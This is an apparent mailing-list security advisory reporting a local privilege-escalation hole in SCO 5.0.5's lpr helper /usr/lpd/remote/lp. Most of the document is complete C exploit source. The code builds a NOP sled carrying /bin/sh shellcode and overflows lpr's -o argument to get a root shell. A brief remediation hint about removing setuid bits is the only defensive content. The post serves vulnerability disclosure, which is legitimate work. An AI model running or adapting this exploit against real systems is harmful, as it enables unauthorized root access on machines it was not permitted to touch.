SCO_lpr_vuln.txt

`Subject: SCO 5.0.5 lpr local root exploit  
To: [email protected]   
  
  
Greetings,  
  
  
There is a hole in SCO 5.0.5, probably 5.0.x, /usr/bin/lpr. Or more  
accurately, /usr/lpd/remote/lp, which lpr execs and passes your command  
line args on to. This means that while /usr/bin/lpr is sgid lp, we'll  
still get a rootshell because /usr/lpd/remote/lp is suid root/sgid  
daemon. I haven't looked into the remote angle of this exploit, though  
the pathname is hardly encouraging.  
  
  
FIX: I would recommend a recursive directory sbit-search-and-destroy if  
you're running SCO..  
  
  
-Brock  
  
  
--- cut ---  
  
  
/*  
* sco_lpr.c - overflows /usr/remote/lpd/lp and gives rootshell  
* Tested on SCO 5.0.5+Skunkware98  
*  
* Compile gcc -o sco_lpr sco_lpr.c  
* sco_lpr <offset> <bufsiz>  
*  
* -Brock Tellier [email protected]  
*/  
  
  
  
#include <stdlib.h>  
#include <stdio.h>  
  
  
char scoshell[]= /* [email protected] */  
"\xeb\x1b\x5e\x31\xdb\x89\x5e\x07\x89\x5e\x0c\x88\x5e\x11\x31\xc0"  
"\xb0\x3b\x8d\x7e\x07\x89\xf9\x53\x51\x56\x56\xeb\x10\xe8\xe0\xff"  
"\xff\xff/bin/sh\xaa\xaa\xaa\xaa\x9a\xaa\xaa\xaa\xaa\x07\xaa";  
  
  
  
#define LEN 3000  
#define NOP 0x90  
  
  
unsigned long get_sp(void) {  
  
  
__asm__("movl %esp, %eax");  
  
  
}  
  
  
  
int main(int argc, char *argv[]) {  
  
  
long int offset=0;  
  
  
int i;  
int buflen = LEN;  
long int addr;  
char buf[LEN];  
  
  
if(argc > 3) {  
fprintf(stderr, "Error: Usage: %s offset buffer\n", argv[0]);  
exit(0);  
}  
else if (argc == 2){  
offset=atoi(argv[1]);  
  
  
}  
else if (argc == 3) {  
buflen=atoi(argv[2]);  
  
  
}  
else {  
offset=1800;  
buflen=1500;  
  
  
}  
  
  
  
addr=get_sp();  
  
  
fprintf(stderr, "SCO 5.0.5 lpr exploit\n");  
fprintf(stderr, "Brock Tellier [email protected]\n");  
fprintf(stderr, "Using addr: 0x%x\n", addr+offset);  
  
  
memset(buf,NOP,buflen);  
memcpy(buf+(buflen/2),scoshell,strlen(scoshell));  
for(i=((buflen/2) + strlen(scoshell))+1;i<buflen-4;i+=4)  
*(int *)&buf[i]=addr+offset;  
  
  
execl("/usr/bin/lpr", "lpr", "-o", buf, NULL);  
  
  
exit(0);  
}  
--- cut ---  
Brock Tellier  
UNIX Systems Administrator  
Webley Systems  
www.webley.com  
`